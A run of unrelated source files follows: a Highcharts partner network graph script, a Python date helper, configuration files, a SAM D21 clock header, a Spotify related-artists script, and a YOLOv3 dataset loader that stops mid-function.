commps=Array.from(commps) // console.log("community partner list",commps) // console.log("community partners filtered for a campus partner", commps, "camp", camp) if(!commps.length==0){ for (c in commps) { // console.log(" community ",commps[c]) var community = community_partner_json.find(d => d.community_partner_name == commps[c]) mission_id = community.primary_mission_id mission_obj = mission_subcategories_json.find(d => d.mission_area_id == mission_id) mission_name = mission_obj.mission_area_name // alert("mission_obj"+mission_name) res3 = {'from': camp, 'to': community.community_partner_name+"("+commps.length+")"} // console.log("final",res3) chart_data.push(res3) node3 = { 'id': community.community_partner_name+"("+commps.length+")", 'color': colorCodeObject[mission_name], 'marker': {'symbol': 'circle', // 'radius': commps.length } } nodedata.push(node3) }} } }) } }) } console.log("campus partner chart data ",chart_data.length) if(chart_data.length===0){ alert("Sorry, There are no Projects matching your selection criteria"); } var titletext = "<span style='color:red'>▲College and Main Units</span>"+ "<span style='color: black'>▲Campus Partners</span> "+" ● CommunityPartners Focus Areas: <br>" var i; for (i = 0; i < Missionarea.length; i++) { var missionname = Missionarea[i] var selectedcolor = colorCodeObject[Missionarea[i]] titletext +=""+"<span></span></span><span style='color:" + selectedcolor + "'>●" + missionname + "</span>" ; } Highcharts.chart('container', { chart: { type: 'networkgraph', zoomType: 'xy' }, // renderTo: 'container', title:{ text:'.', // align:right }, legend: { title:{ text: titletext, }, box:{ visibility: true } }, plotOptions: { networkgraph: { turboThreshold: 0, initialPositions: 'bottom', cropThreshold:500, layoutAlgorithm: { enableSimulation: false, integration: 'verlet', linkLength: 100 } }, }, // responsive:{rules:[{condition:{maxWidth:500}, // chartOptions:{ legend :{ layout:"horizontal",align:"center",verticalAlign:"bottom"}}}]}, series: [{ name:'Network Graph', linkLength: 100, type:'networkgraph', dataLabels: { enabled: true, linkFormat: '' }, data: chart_data, nodes:nodedata, visibility:true, }, ] })
from datetime import date, datetime from .types import FractionalYearLike __all__ = ("datetime_to_fractional_year", "parse_datetime_or_fractional_year") def datetime_to_fractional_year(input: datetime) -> float: """Converts a Python datetime object to a fractional year.""" start = date(input.year, 1, 1).toordinal() # type: ignore year_length = date(input.year + 1, 1, 1).toordinal() - start # type: ignore return input.year + (input.toordinal() - start) / year_length def parse_datetime_or_fractional_year(input: FractionalYearLike) -> float: """Converts a Python datetime object to a fractional year; also accepts `None` to represent the current date and any single floating-point number that is interpreted as a fractional year as is. """ if input is None: input = datetime.now() if isinstance(input, datetime): input = datetime_to_fractional_year(input) return input
module.exports = { extends: ['@mrowa96/eslint-config-react'], };
int lib(int x) { if (x <= 0) return -1; else return 1; } int client(int x){ if (x > 0) { return lib(x); } return x; }
module.exports = { Size: require('./size'), Types: require('./types') }
/** * \file * * \brief SAM D21 Clock configuration * * Copyright (C) 2014-2015 Atmel Corporation. All rights reserved. * * \asf_license_start * * \page License * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * 3. The name of Atmel may not be used to endorse or promote products derived * from this software without specific prior written permission. * * 4. This software may only be redistributed and used in connection with an * Atmel microcontroller product. * * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * \asf_license_stop * */ #include <clock.h> #ifndef CONF_CLOCKS_H_INCLUDED # define CONF_CLOCKS_H_INCLUDED /* System clock bus configuration */ # define CONF_CLOCK_CPU_CLOCK_FAILURE_DETECT false # define CONF_CLOCK_FLASH_WAIT_STATES 2 # define CONF_CLOCK_CPU_DIVIDER SYSTEM_MAIN_CLOCK_DIV_1 # define CONF_CLOCK_APBA_DIVIDER SYSTEM_MAIN_CLOCK_DIV_1 # define CONF_CLOCK_APBB_DIVIDER SYSTEM_MAIN_CLOCK_DIV_1 # define CONF_CLOCK_APBC_DIVIDER SYSTEM_MAIN_CLOCK_DIV_1 /* SYSTEM_CLOCK_SOURCE_OSC8M configuration - Internal 8MHz oscillator */ # define CONF_CLOCK_OSC8M_PRESCALER SYSTEM_OSC8M_DIV_1 # define CONF_CLOCK_OSC8M_ON_DEMAND false # define CONF_CLOCK_OSC8M_RUN_IN_STANDBY false /* SYSTEM_CLOCK_SOURCE_XOSC configuration - External clock/oscillator */ # define CONF_CLOCK_XOSC_ENABLE false # define CONF_CLOCK_XOSC_EXTERNAL_CRYSTAL SYSTEM_CLOCK_EXTERNAL_CRYSTAL # define CONF_CLOCK_XOSC_EXTERNAL_FREQUENCY 12000000UL # define CONF_CLOCK_XOSC_STARTUP_TIME SYSTEM_XOSC_STARTUP_32768 # define CONF_CLOCK_XOSC_AUTO_GAIN_CONTROL true # define CONF_CLOCK_XOSC_ON_DEMAND false # define CONF_CLOCK_XOSC_RUN_IN_STANDBY false /* SYSTEM_CLOCK_SOURCE_XOSC32K configuration - External 32KHz crystal/clock * oscillator */ # define CONF_CLOCK_XOSC32K_ENABLE true # define CONF_CLOCK_XOSC32K_EXTERNAL_CRYSTAL SYSTEM_CLOCK_EXTERNAL_CRYSTAL # define CONF_CLOCK_XOSC32K_STARTUP_TIME SYSTEM_XOSC32K_STARTUP_65536 # define CONF_CLOCK_XOSC32K_AUTO_AMPLITUDE_CONTROL true # define CONF_CLOCK_XOSC32K_ENABLE_1KHZ_OUPUT false # define CONF_CLOCK_XOSC32K_ENABLE_32KHZ_OUTPUT true # define CONF_CLOCK_XOSC32K_ON_DEMAND false # define CONF_CLOCK_XOSC32K_RUN_IN_STANDBY false /* SYSTEM_CLOCK_SOURCE_OSC32K configuration - Internal 32KHz oscillator */ # define CONF_CLOCK_OSC32K_ENABLE true # define CONF_CLOCK_OSC32K_STARTUP_TIME SYSTEM_OSC32K_STARTUP_130 # define CONF_CLOCK_OSC32K_ENABLE_1KHZ_OUTPUT true # define CONF_CLOCK_OSC32K_ENABLE_32KHZ_OUTPUT true # define CONF_CLOCK_OSC32K_ON_DEMAND false # define CONF_CLOCK_OSC32K_RUN_IN_STANDBY true /* SYSTEM_CLOCK_SOURCE_DFLL configuration - Digital Frequency Locked Loop */ # define CONF_CLOCK_DFLL_ENABLE true # define CONF_CLOCK_DFLL_LOOP_MODE \ SYSTEM_CLOCK_DFLL_LOOP_MODE_CLOSED # define CONF_CLOCK_DFLL_ON_DEMAND false # define CONF_CLOCK_DFLL_RUN_IN_STANDBY false /* DFLL open loop mode configuration */ # define CONF_CLOCK_DFLL_FINE_VALUE (512) /* DFLL closed loop mode configuration */ # define CONF_CLOCK_DFLL_SOURCE_GCLK_GENERATOR GCLK_GENERATOR_1 # define CONF_CLOCK_DFLL_MULTIPLY_FACTOR (48000000 / 32768) # define CONF_CLOCK_DFLL_QUICK_LOCK true # define CONF_CLOCK_DFLL_TRACK_AFTER_FINE_LOCK true # define CONF_CLOCK_DFLL_KEEP_LOCK_ON_WAKEUP true # define CONF_CLOCK_DFLL_ENABLE_CHILL_CYCLE true # define CONF_CLOCK_DFLL_MAX_COARSE_STEP_SIZE (0x1f / 4) # define CONF_CLOCK_DFLL_MAX_FINE_STEP_SIZE (0xff / 4) /* SYSTEM_CLOCK_SOURCE_DPLL configuration - Digital Phase-Locked Loop */ # define CONF_CLOCK_DPLL_ENABLE false # define CONF_CLOCK_DPLL_ON_DEMAND false # define CONF_CLOCK_DPLL_RUN_IN_STANDBY false # define CONF_CLOCK_DPLL_LOCK_BYPASS false # define CONF_CLOCK_DPLL_WAKE_UP_FAST false # define CONF_CLOCK_DPLL_LOW_POWER_ENABLE false # define CONF_CLOCK_DPLL_LOCK_TIME \ SYSTEM_CLOCK_SOURCE_DPLL_LOCK_TIME_DEFAULT # define CONF_CLOCK_DPLL_REFERENCE_CLOCK \ SYSTEM_CLOCK_SOURCE_DPLL_REFERENCE_CLOCK_XOSC32K # define CONF_CLOCK_DPLL_FILTER \ SYSTEM_CLOCK_SOURCE_DPLL_FILTER_DEFAULT # define CONF_CLOCK_DPLL_REFERENCE_FREQUENCY 32768 # define CONF_CLOCK_DPLL_REFERENCE_DIVIDER 1 # define CONF_CLOCK_DPLL_OUTPUT_FREQUENCY 48000000 /* DPLL GCLK reference configuration */ # define CONF_CLOCK_DPLL_REFERENCE_GCLK_GENERATOR GCLK_GENERATOR_1 /* DPLL GCLK lock timer configuration */ # define CONF_CLOCK_DPLL_LOCK_GCLK_GENERATOR GCLK_GENERATOR_1 /* Set this to true to configure the GCLK when running clocks_init. If set to * false, none of the GCLK generators will be configured in clocks_init(). */ # define CONF_CLOCK_CONFIGURE_GCLK true /* Configure GCLK generator 0 (Main Clock) */ # define CONF_CLOCK_GCLK_0_ENABLE true # define CONF_CLOCK_GCLK_0_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_0_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_DFLL # define CONF_CLOCK_GCLK_0_PRESCALER 1 # define CONF_CLOCK_GCLK_0_OUTPUT_ENABLE false /* Configure GCLK generator 1 */ # define CONF_CLOCK_GCLK_1_ENABLE true # define CONF_CLOCK_GCLK_1_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_1_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_XOSC32K # define CONF_CLOCK_GCLK_1_PRESCALER 1 # define CONF_CLOCK_GCLK_1_OUTPUT_ENABLE false /* Configure GCLK generator 2 (RTC) */ # define CONF_CLOCK_GCLK_2_ENABLE false # define CONF_CLOCK_GCLK_2_RUN_IN_STANDBY true # define CONF_CLOCK_GCLK_2_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_OSC32K # define CONF_CLOCK_GCLK_2_PRESCALER 32 # define CONF_CLOCK_GCLK_2_OUTPUT_ENABLE false /* Configure GCLK generator 3 */ # define CONF_CLOCK_GCLK_3_ENABLE false # define CONF_CLOCK_GCLK_3_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_3_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_OSC8M # define CONF_CLOCK_GCLK_3_PRESCALER 1 # define CONF_CLOCK_GCLK_3_OUTPUT_ENABLE false /* Configure GCLK generator 4 */ # define CONF_CLOCK_GCLK_4_ENABLE false # define CONF_CLOCK_GCLK_4_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_4_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_ULP32K # define CONF_CLOCK_GCLK_4_PRESCALER 32 # define CONF_CLOCK_GCLK_4_OUTPUT_ENABLE false /* Configure GCLK generator 5 */ # define CONF_CLOCK_GCLK_5_ENABLE false # define CONF_CLOCK_GCLK_5_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_5_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_OSC8M # define CONF_CLOCK_GCLK_5_PRESCALER 1 # define CONF_CLOCK_GCLK_5_OUTPUT_ENABLE false /* Configure GCLK generator 6 */ # define CONF_CLOCK_GCLK_6_ENABLE false # define CONF_CLOCK_GCLK_6_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_6_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_OSC8M # define CONF_CLOCK_GCLK_6_PRESCALER 1 # define CONF_CLOCK_GCLK_6_OUTPUT_ENABLE false /* Configure GCLK generator 7 */ # define CONF_CLOCK_GCLK_7_ENABLE false # define CONF_CLOCK_GCLK_7_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_7_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_OSC8M # define CONF_CLOCK_GCLK_7_PRESCALER 1 # define CONF_CLOCK_GCLK_7_OUTPUT_ENABLE false /* Configure GCLK generator 8 */ # define CONF_CLOCK_GCLK_8_ENABLE false # define CONF_CLOCK_GCLK_8_RUN_IN_STANDBY false # define CONF_CLOCK_GCLK_8_CLOCK_SOURCE SYSTEM_CLOCK_SOURCE_OSC8M # define CONF_CLOCK_GCLK_8_PRESCALER 1 # define CONF_CLOCK_GCLK_8_OUTPUT_ENABLE false #endif /* CONF_CLOCKS_H_INCLUDED */
# shows related artists for the given seed artist import spotipy from spotipy.oauth2 import SpotifyClientCredentials import sys if len(sys.argv) > 1: artist_name = sys.argv[1] else: artist_name = 'weezer' client_credentials_manager = SpotifyClientCredentials() sp = spotipy.Spotify(client_credentials_manager=client_credentials_manager) result = sp.search(q='artist:' + artist_name, type='artist') try: name = result['artists']['items'][0]['name'] uri = result['artists']['items'][0]['uri'] related = sp.artist_related_artists(uri) print('Related artists for', name) for artist in related['artists']: print(' ', artist['name']) except BaseException: print("usage show_related.py [artist-name]")
import glob import math import os import random import shutil import time from pathlib import Path from threading import Thread import cv2 import numpy as np import torch from PIL import Image, ExifTags from torch.utils.data import Dataset from .utils import xyxy2xywh, xywh2xyxy help_url = 'https://github.com/ultralytics/yolov3/wiki/Train-Custom-Data' img_formats = ['.bmp', '.jpg', '.jpeg', '.png', '.tif', '.dng'] vid_formats = ['.mov', '.avi', '.mp4', '.mpg', '.mpeg', '.m4v', '.wmv', '.mkv'] def print(*args): pass def tqdm(it, **kwargs): return it # Get orientation exif tag for orientation in ExifTags.TAGS.keys(): if ExifTags.TAGS[orientation] == 'Orientation': break def exif_size(img): # Returns exif-corrected PIL size s = img.size # (width, height) try: rotation = dict(img._getexif().items())[orientation] if rotation == 6: # rotation 270 s = (s[1], s[0]) elif rotation == 8: # rotation 90 s = (s[1], s[0]) except: pass return s class LoadImages: # for inference def __init__(self, path, img_size=416): path = str(Path(path)) # os-agnostic files = [] if os.path.isdir(path): files = sorted(glob.glob(os.path.join(path, '*.*'))) elif os.path.isfile(path): files = [path] images = [x for x in files if os.path.splitext(x)[-1].lower() in img_formats] videos = [x for x in files if os.path.splitext(x)[-1].lower() in vid_formats] nI, nV = len(images), len(videos) self.img_size = img_size self.files = images + videos self.nF = nI + nV # number of files self.video_flag = [False] * nI + [True] * nV self.mode = 'images' if any(videos): self.new_video(videos[0]) # new video else: self.cap = None assert self.nF > 0, 'No images or videos found in %s. Supported formats are:\nimages: %s\nvideos: %s' % \ (path, img_formats, vid_formats) def __iter__(self): self.count = 0 return self def __next__(self): if self.count == self.nF: raise StopIteration path = self.files[self.count] if self.video_flag[self.count]: # Read video self.mode = 'video' ret_val, img0 = self.cap.read() if not ret_val: self.count += 1 self.cap.release() if self.count == self.nF: # last video raise StopIteration else: path = self.files[self.count] self.new_video(path) ret_val, img0 = self.cap.read() self.frame += 1 print('video %g/%g (%g/%g) %s: ' % (self.count + 1, self.nF, self.frame, self.nframes, path), end='') else: # Read image self.count += 1 img0 = cv2.imread(path) # BGR assert img0 is not None, 'Image Not Found ' + path print('image %g/%g %s: ' % (self.count, self.nF, path), end='') # Padded resize img = letterbox(img0, new_shape=self.img_size)[0] # Convert img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416 img = np.ascontiguousarray(img) # cv2.imwrite(path + '.letterbox.jpg', 255 * img.transpose((1, 2, 0))[:, :, ::-1]) # save letterbox image return path, img, img0, self.cap def new_video(self, path): self.frame = 0 self.cap = cv2.VideoCapture(path) self.nframes = int(self.cap.get(cv2.CAP_PROP_FRAME_COUNT)) def __len__(self): return self.nF # number of files class LoadWebcam: # for inference def __init__(self, pipe=0, img_size=416): self.img_size = img_size if pipe == '0': pipe = 0 # local camera # pipe = 'rtsp://192.168.1.64/1' # IP camera # pipe = 'rtsp://username:password@192.168.1.64/1' # IP camera with login # pipe = 'rtsp://170.93.143.139/rtplive/470011e600ef003a004ee33696235daa' # IP traffic camera # pipe = 'http://wmccpinetop.axiscam.net/mjpg/video.mjpg' # IP golf camera # https://answers.opencv.org/question/215996/changing-gstreamer-pipeline-to-opencv-in-pythonsolved/ # pipe = '"rtspsrc location="rtsp://username:password@192.168.1.64/1" latency=10 ! appsink' # GStreamer # https://answers.opencv.org/question/200787/video-acceleration-gstremer-pipeline-in-videocapture/ # https://stackoverflow.com/questions/54095699/install-gstreamer-support-for-opencv-python-package # install help # pipe = "rtspsrc location=rtsp://root:root@192.168.0.91:554/axis-media/media.amp?videocodec=h264&resolution=3840x2160 protocols=GST_RTSP_LOWER_TRANS_TCP ! rtph264depay ! queue ! vaapih264dec ! videoconvert ! appsink" # GStreamer self.pipe = pipe self.cap = cv2.VideoCapture(pipe) # video capture object self.cap.set(cv2.CAP_PROP_BUFFERSIZE, 3) # set buffer size def __iter__(self): self.count = -1 return self def __next__(self): self.count += 1 if cv2.waitKey(1) == ord('q'): # q to quit self.cap.release() cv2.destroyAllWindows() raise StopIteration # Read frame if self.pipe == 0: # local camera ret_val, img0 = self.cap.read() img0 = cv2.flip(img0, 1) # flip left-right else: # IP camera n = 0 while True: n += 1 self.cap.grab() if n % 30 == 0: # skip frames ret_val, img0 = self.cap.retrieve() if ret_val: break # Print assert ret_val, 'Camera Error %s' % self.pipe img_path = 'webcam.jpg' print('webcam %g: ' % self.count, end='') # Padded resize img = letterbox(img0, new_shape=self.img_size)[0] # Convert img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416 img = np.ascontiguousarray(img) return img_path, img, img0, None def __len__(self): return 0 class LoadStreams: # multiple IP or RTSP cameras def __init__(self, sources='streams.txt', img_size=416): self.mode = 'images' self.img_size = img_size if os.path.isfile(sources): with open(sources, 'r') as f: sources = [x.strip() for x in f.read().splitlines() if len(x.strip())] else: sources = [sources] n = len(sources) self.imgs = [None] * n self.sources = sources for i, s in enumerate(sources): # Start the thread to read frames from the video stream print('%g/%g: %s... ' % (i + 1, n, s), end='') cap = cv2.VideoCapture(0 if s == '0' else s) assert cap.isOpened(), 'Failed to open %s' % s w = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH)) h = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT)) fps = cap.get(cv2.CAP_PROP_FPS) % 100 _, self.imgs[i] = cap.read() # guarantee first frame thread = Thread(target=self.update, args=([i, cap]), daemon=True) print(' success (%gx%g at %.2f FPS).' % (w, h, fps)) thread.start() print('') # newline # check for common shapes s = np.stack([letterbox(x, new_shape=self.img_size)[0].shape for x in self.imgs], 0) # inference shapes self.rect = np.unique(s, axis=0).shape[0] == 1 # rect inference if all shapes equal if not self.rect: print('WARNING: Different stream shapes detected. For optimal performance supply similarly-shaped streams.') def update(self, index, cap): # Read next stream frame in a daemon thread n = 0 while cap.isOpened(): n += 1 # _, self.imgs[index] = cap.read() cap.grab() if n == 4: # read every 4th frame _, self.imgs[index] = cap.retrieve() n = 0 time.sleep(0.01) # wait time def __iter__(self): self.count = -1 return self def __next__(self): self.count += 1 img0 = self.imgs.copy() if cv2.waitKey(1) == ord('q'): # q to quit cv2.destroyAllWindows() raise StopIteration # Letterbox img = [letterbox(x, new_shape=self.img_size, auto=self.rect)[0] for x in img0] # Stack img = np.stack(img, 0) # Convert img = img[:, :, :, ::-1].transpose(0, 3, 1, 2) # BGR to RGB, to bsx3x416x416 img = np.ascontiguousarray(img) return self.sources, img, img0, None def __len__(self): return 0 # 1E12 frames = 32 streams at 30 FPS for 30 years class LoadImagesAndLabels(Dataset): # for training/testing def __init__(self, path, img_size=416, batch_size=16, augment=False, hyp=None, rect=False, image_weights=False, cache_images=False, single_cls=False, pad=0.0): try: path = str(Path(path)) # os-agnostic parent = str(Path(path).parent) + os.sep if os.path.isfile(path): # file with open(path, 'r') as f: f = f.read().splitlines() f = [x.replace('./', parent) if x.startswith('./') else x for x in f] # local to global path elif os.path.isdir(path): # folder f = glob.iglob(path + os.sep + '*.*') else: raise Exception('%s does not exist' % path) self.img_files = [x.replace('/', os.sep) for x in f if os.path.splitext(x)[-1].lower() in img_formats] except: raise Exception('Error loading data from %s. See %s' % (path, help_url)) n = len(self.img_files) assert n > 0, 'No images found in %s. See %s' % (path, help_url) bi = np.floor(np.arange(n) / batch_size).astype(np.int) # batch index nb = bi[-1] + 1 # number of batches self.n = n # number of images self.batch = bi # batch index of image self.img_size = img_size self.augment = augment self.hyp = hyp self.image_weights = image_weights self.rect = False if image_weights else rect self.mosaic = self.augment and not self.rect # load 4 images at a time into a mosaic (only during training) # Define labels self.label_files = [x.replace('images', 'labels').replace(os.path.splitext(x)[-1], '.txt') for x in self.img_files] # Read image shapes (wh) sp = path.replace('.txt', '') + '.shapes' # shapefile path try: with open(sp, 'r') as f: # read existing shapefile s = [x.split() for x in f.read().splitlines()] assert len(s) == n, 'Shapefile out of sync' except: s = [exif_size(Image.open(f)) for f in tqdm(self.img_files, desc='Reading image shapes')] np.savetxt(sp, s, fmt='%g') # overwrites existing (if any) self.shapes = np.array(s, dtype=np.float64) # Rectangular Training https://github.com/ultralytics/yolov3/issues/232 if self.rect: # Sort by aspect ratio s = self.shapes # wh ar = s[:, 1] / s[:, 0] # aspect ratio irect = ar.argsort() self.img_files = [self.img_files[i] for i in irect] self.label_files = [self.label_files[i] for i in irect] self.shapes = s[irect] # wh ar = ar[irect] # Set training image shapes shapes = [[1, 1]] * nb for i in range(nb): ari = ar[bi == i] mini, maxi = ari.min(), ari.max() if maxi < 1: shapes[i] = [maxi, 1] elif mini > 1: shapes[i] = [1, 1 / mini] self.batch_shapes = np.ceil(np.array(shapes) * img_size / 32. + pad).astype(np.int) * 32 # Cache labels self.imgs = [None] * n self.labels = [np.zeros((0, 5), dtype=np.float32)] * n create_datasubset, extract_bounding_boxes, labels_loaded = False, False, False nm, nf, ne, ns, nd = 0, 0, 0, 0, 0 # number missing, found, empty, datasubset, duplicate np_labels_path = str(Path(self.label_files[0]).parent) + '.npy' # saved labels in *.npy file if os.path.isfile(np_labels_path): s = np_labels_path # print string x = np.load(np_labels_path, allow_pickle=True) if len(x) == n: self.labels = x labels_loaded = True else: s = path.replace('images', 'labels') pbar = tqdm(self.label_files) for i, file in enumerate(pbar): if labels_loaded: l = self.labels[i] # np.savetxt(file, l, '%g') # save *.txt from *.npy file else: try: with open(file, 'r') as f: l = np.array([x.split() for x in f.read().splitlines()], dtype=np.float32) except: nm += 1 # print('missing labels for image %s' % self.img_files[i]) # file missing continue if l.shape[0]: assert l.shape[1] == 5, '> 5 label columns: %s' % file assert (l >= 0).all(), 'negative labels: %s' % file assert (l[:, 1:] <= 1).all(), 'non-normalized or out of bounds coordinate labels: %s' % file if np.unique(l, axis=0).shape[0] < l.shape[0]: # duplicate rows nd += 1 # print('WARNING: duplicate rows in %s' % self.label_files[i]) # duplicate rows if single_cls: l[:, 0] = 0 # force dataset into single-class mode self.labels[i] = l nf += 1 # file found # Create subdataset (a smaller dataset) if create_datasubset and ns < 1E4: if ns == 0: create_folder(path='./datasubset') os.makedirs('./datasubset/images') exclude_classes = 43 if exclude_classes not in l[:, 0]: ns += 1 # shutil.copy(src=self.img_files[i], dst='./datasubset/images/') # copy image with open('./datasubset/images.txt', 'a') as f: f.write(self.img_files[i] + '\n') # Extract object detection boxes for a second stage classifier if extract_bounding_boxes: p = Path(self.img_files[i]) img = cv2.imread(str(p)) h, w = img.shape[:2] for j, x in enumerate(l): f = '%s%sclassifier%s%g_%g_%s' % (p.parent.parent, os.sep, os.sep, x[0], j, p.name) if not os.path.exists(Path(f).parent): os.makedirs(Path(f).parent) # make new output folder b = x[1:] * [w, h, w, h] # box b[2:] = b[2:].max() # rectangle to square b[2:] = b[2:] * 1.3 + 30 # pad b = xywh2xyxy(b.reshape(-1, 4)).ravel().astype(np.int) b[[0, 2]] = np.clip(b[[0, 2]], 0, w) # clip boxes outside of image b[[1, 3]] = np.clip(b[[1, 3]], 0, h) assert cv2.imwrite(f, img[b[1]:b[3], b[0]:b[2]]), 'Failure extracting classifier boxes' else: ne += 1 # print('empty labels for image %s' % self.img_files[i]) # file empty # os.system("rm '%s' '%s'" % (self.img_files[i], self.label_files[i])) # remove assert nf > 0 or n == 20288, 'No labels found in %s. See %s' % (os.path.dirname(file) + os.sep, help_url) if not labels_loaded and n > 1000: print('Saving labels to %s for faster future loading' % np_labels_path) np.save(np_labels_path, self.labels) # save for next time # Cache images into memory for faster training (WARNING: large datasets may exceed system RAM) if cache_images: # if training gb = 0 # Gigabytes of cached images pbar = tqdm(range(len(self.img_files)), desc='Caching images') self.img_hw0, self.img_hw = [None] * n, [None] * n for i in pbar: # max 10k images self.imgs[i], self.img_hw0[i], self.img_hw[i] = load_image(self, i) # img, hw_original, hw_resized gb += self.imgs[i].nbytes # Detect corrupted images https://medium.com/joelthchao/programmatically-detect-corrupted-image-8c1b2006c3d3 detect_corrupted_images = False if detect_corrupted_images: from skimage import io # conda install -c conda-forge scikit-image for file in tqdm(self.img_files, desc='Detecting corrupted images'): try: _ = io.imread(file) except: print('Corrupted image detected: %s' % file) def __len__(self): return len(self.img_files) # def __iter__(self): # self.count = -1 # print('ran dataset iter') # #self.shuffled_vector = np.random.permutation(self.nF) if self.augment else np.arange(self.nF) # return self def __getitem__(self, index): if self.image_weights: index = self.indices[index] hyp = self.hyp if self.mosaic: # Load mosaic img, labels = load_mosaic(self, index) shapes = None else: # Load image img, (h0, w0), (h, w) = load_image(self, index) # Letterbox shape = self.batch_shapes[self.batch[index]] if self.rect else self.img_size # final letterboxed shape img, ratio, pad = letterbox(img, shape, auto=False, scaleup=self.augment) shapes = (h0, w0), ((h / h0, w / w0), pad) # for COCO mAP rescaling # Load labels labels = [] x = self.labels[index] if x.size > 0: # Normalized xywh to pixel xyxy format labels = x.copy() labels[:, 1] = ratio[0] * w * (x[:, 1] - x[:, 3] / 2) + pad[0] # pad width labels[:, 2] = ratio[1] * h * (x[:, 2] - x[:, 4] / 2) + pad[1] # pad height labels[:, 3] = ratio[0] * w * (x[:, 1] + x[:, 3] / 2) + pad[0] labels[:, 4] = ratio[1] * h * (x[:, 2] + x[:, 4] / 2) + pad[1] if self.augment: # Augment imagespace if not self.mosaic: img, labels = random_affine(img, labels, degrees=hyp['degrees'], translate=hyp['translate'], scale=hyp['scale'], shear=hyp['shear']) # Augment colorspace augment_hsv(img, hgain=hyp['hsv_h'], sgain=hyp['hsv_s'], vgain=hyp['hsv_v']) # Apply cutouts # if random.random() < 0.9: # labels = cutout(img, labels) nL = len(labels) # number of labels if nL: # convert xyxy to xywh labels[:, 1:5] = xyxy2xywh(labels[:, 1:5]) # Normalize coordinates 0 - 1 labels[:, [2, 4]] /= img.shape[0] # height labels[:, [1, 3]] /= img.shape[1] # width if self.augment: # random left-right flip lr_flip = True if lr_flip and random.random() < 0.5: img = np.fliplr(img) if nL: labels[:, 1] = 1 - labels[:, 1] # random up-down flip ud_flip = False if ud_flip and random.random() < 0.5: img = np.flipud(img) if nL: labels[:, 2] = 1 - labels[:, 2] labels_out = torch.zeros((nL, 6)) if nL: labels_out[:, 1:] = torch.from_numpy(labels) # Convert img = img[:, :, ::-1].transpose(2, 0, 1) # BGR to RGB, to 3x416x416 img = np.ascontiguousarray(img) return torch.from_numpy(img), labels_out, self.img_files[index], shapes @staticmethod def collate_fn(batch): img, label, path, shapes = zip(*batch) # transposed for i, l in enumerate(label): l[:, 0] = i # add target image index for build_targets() return torch.stack(img, 0), torch.cat(label, 0), path, shapes def load_image(self, index): # loads 1 image from dataset, returns img, original hw, resized hw img = self.imgs[index] if img is None: # not cached path = self.img_files[index] img = cv2.imread(path) # BGR assert img is not None, 'Image Not Found ' + path h0, w0 = img.shape[:2] # orig hw r = self.img_size / max(h0, w0) # resize image to img_size if r != 1: # always resize down, only resize up if training with augmentation interp = cv2.INTER_AREA if r < 1 and not self.augment else cv2.INTER_LINEAR img = cv2.resize(img, (int(w0 * r), int(h0 * r)), interpolation=interp) return img, (h0, w0), img.shape[:2] # img, hw_original, hw_resized else: return self.imgs[index], self.img_hw0[index], self.img_hw[index] # img, hw_original, hw_resized def augment_hsv(img, hgain=0.5, sgain=0.5, vgain=0.5): r = np.random.uniform(-1, 1, 3) * [hgain, sgain, vgain] + 1 # random gains hue, sat, val = cv2.split(cv2.cvtColor(img, cv2.COLOR_BGR2HSV)) dtype = img.dtype # uint8 x = np.arange(0, 256, dtype=np.int16) lut_hue = ((x * r[0]) % 180).astype(dtype) lut_sat = np.clip(x * r[1], 0, 255).astype(dtype) lut_val = np.clip(x * r[2], 0, 255).astype(dtype) img_hsv = cv2.merge((cv2.LUT(hue, lut_hue), cv2.LUT(sat, lut_sat), cv2.LUT(val, lut_val))).astype(dtype) cv2.cvtColor(img_hsv, cv2.COLOR_HSV2BGR, dst=img) # no return needed # Histogram equalization # if random.random() < 0.2: # for i in range(3): # img[:, :, i] = cv2.equalizeHist(img[:, :, i]) def load_mosaic(self, index): # loads images in a mosaic labels4 = [] s = self.img_size xc, yc = [int(random.uniform(s * 0.5, s * 1.5)) for _ in range(2)] # mosaic center x, y indices = [index] + [random.randint(0, len(self.labels) - 1) for _ in range(3)] # 3 additional image indices for i, index in enumerate(indices): # Load image img, _, (h, w) = load_image(self, index) # place img in img4 if i == 0: # top left img4 = np.full((s * 2, s * 2, img.shape[2]), 114, dtype=np.uint8) # base image with 4 tiles x1a, y1a, x2a, y2a 